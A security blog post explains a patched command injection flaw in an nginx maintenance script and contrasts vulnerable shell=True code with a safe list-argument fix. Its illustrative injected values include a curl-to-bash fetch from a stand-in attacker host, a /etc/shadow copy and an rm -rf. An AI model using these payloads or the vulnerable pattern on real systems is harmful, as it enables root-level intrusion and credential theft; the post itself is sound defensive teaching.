Introduction
Imagine handing someone a sticky note that says "please run this command for me" — and then walking away while they execute it with administrator privileges. That's essentially what a command injection vulnerability does. It's one of the oldest and most dangerous classes of bugs in software security, and it keeps showing up in places where developers least expect it: maintenance scripts, automation tooling, and infrastructure management code.
This post covers a high-severity command injection vulnerability (CWE-78) that was discovered and patched in harness_route.py, an nginx harness maintenance script. The fix matters not just because of the specific bug, but because it illustrates a pattern that appears constantly in DevOps and infrastructure tooling — and one that carries outsized risk precisely because these scripts are often run with elevated privileges.
The Vulnerability Explained
What Is Command Injection?
Command injection (classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command) occurs when an application constructs a system command using externally influenced input without properly sanitizing or validating that input. The result: an attacker can append or substitute malicious commands that the system executes as if they were legitimate.
In Python, the danger zone is typically subprocess — specifically when:
shell=Trueis used (which passes the command through a shell interpreter like/bin/sh)- Arguments are constructed by string concatenation or f-strings using untrusted data
- Input from configuration files, environment variables, or HTTP parameters is passed directly into command arguments
The Vulnerable Code Pattern
The vulnerability in harness_route.py involved the use of subprocess.check_output() for nginx management tasks — things like reloading configuration, managing processes, or operating on files in privileged directories.
Here's a simplified representation of the vulnerable pattern:
# VULNERABLE - Do not use this pattern
import subprocess
def reload_nginx(config_path):
# config_path could come from a routing config file or external input
command = f"nginx -t -c {config_path} && nginx -s reload"
result = subprocess.check_output(command, shell=True)
return result
At first glance, this looks like a reasonable maintenance function. But consider what happens if config_path is influenced by an attacker:
config_path = "/etc/nginx/nginx.conf && curl http://attacker.com/shell.sh | bash"
With shell=True, the entire string is handed to /bin/sh, which dutifully executes both the nginx command and the attacker's payload. If this script runs as root (common for nginx management tasks), the attacker now has root-level code execution.
Why Maintenance Scripts Are Especially Dangerous
The risk multiplier here is privilege level. Nginx management scripts routinely need elevated permissions to:
- Read and write configuration files in
/etc/nginx/ - Send signals to the nginx master process
- Bind to privileged ports (< 1024)
- Reload or restart system services
This means that a command injection vulnerability in such a script isn't just "arbitrary code execution" — it's arbitrary code execution as root. The blast radius is the entire system.
Real-World Attack Scenario
Let's walk through a realistic exploitation path:
-
The setup:
harness_route.pyreads routing configuration from a file or accepts parameters that influence which nginx config to validate or reload. -
The injection point: An attacker finds a way to write to the routing configuration file, or discovers an API endpoint that passes parameters to the maintenance script.
-
The payload: They craft a malicious value:
/etc/nginx/nginx.conf; cat /etc/shadow > /tmp/shadow_copy; chmod 777 /tmp/shadow_copy -
The execution: The script runs with sudo/root, the shell interprets the semicolon as a command separator, and the attacker now has a world-readable copy of the system's password hashes.
-
The escalation: From here, offline password cracking, lateral movement, or full system compromise is straightforward.
The Fix
What Changed
The fix centers on eliminating shell interpretation and treating all external input as data, not code. The corrected approach uses subprocess in a way that bypasses the shell entirely.
Here's the secure pattern that replaces the vulnerable code:
# SECURE - Use this pattern instead
import subprocess
import shlex
import os
def reload_nginx(config_path):
# Validate the input first - ensure it's an absolute path to an expected location
allowed_config_dir = "/etc/nginx/"
# Normalize and validate the path
real_path = os.path.realpath(config_path)
if not real_path.startswith(allowed_config_dir):
raise ValueError(f"Invalid config path: config must be within {allowed_config_dir}")
# Pass arguments as a LIST, not a string - no shell=True
test_result = subprocess.check_output(
["nginx", "-t", "-c", real_path],
stderr=subprocess.STDOUT
)
reload_result = subprocess.check_output(
["nginx", "-s", "reload"],
stderr=subprocess.STDOUT
)
return reload_result
Why This Works
Several security improvements work together here:
1. Arguments as a list, not a string
When you pass a list to subprocess.check_output(), Python uses execvp() under the hood — it calls the binary directly without invoking a shell. There is no shell to interpret metacharacters like ;, &&, |, $(), or backticks. The argument "/etc/nginx/nginx.conf; rm -rf /" becomes a literal filename that nginx will (correctly) fail to find, rather than a shell command sequence.
# Shell is bypassed entirely - metacharacters are just data
subprocess.check_output(["nginx", "-t", "-c", user_input])
2. No shell=True
This is the single most impactful change. shell=True is almost never necessary for well-structured code, and its presence should always trigger a security review. When you need to chain commands, do it in Python logic — not in a shell string.
3. Input validation with path normalization
Using os.path.realpath() resolves symlinks and ../ traversal sequences before validation. Checking against an allowed_config_dir prefix ensures the script only operates on files in the expected location, preventing path traversal attacks.
4. Explicit error handling
The fix raises a ValueError for invalid input rather than silently proceeding. Fail loudly and early — don't let suspicious input continue down the execution path.
Conclusion
Command injection in infrastructure scripts is a particularly dangerous combination: the vulnerability class is well-understood and preventable, yet it continues to appear in maintenance tooling where the consequences — root-level code execution — are most severe.
The key takeaways from this fix are:
- Never use
shell=Truewhen subprocess arguments can be influenced by external input - Pass arguments as lists to bypass shell interpretation entirely
- Validate and allowlist inputs before they reach any system call
- Apply least privilege so that even if injection occurs, the blast radius is limited
- Automate detection with SAST tools like Bandit and Semgrep in your CI/CD pipeline
Security in infrastructure code isn't glamorous work, but it's foundational. A single unvalidated argument in a privileged maintenance script can undo layers of carefully built security controls. The fix here is a few lines of code — the vulnerability it closes could have been catastrophic.
Write code that treats every external value as potentially hostile. Your future self (and your on-call rotation) will thank you.
This vulnerability was identified and patched by OrbisAI Security. Automated security scanning, combined with expert review, caught this issue before it could be exploited in production.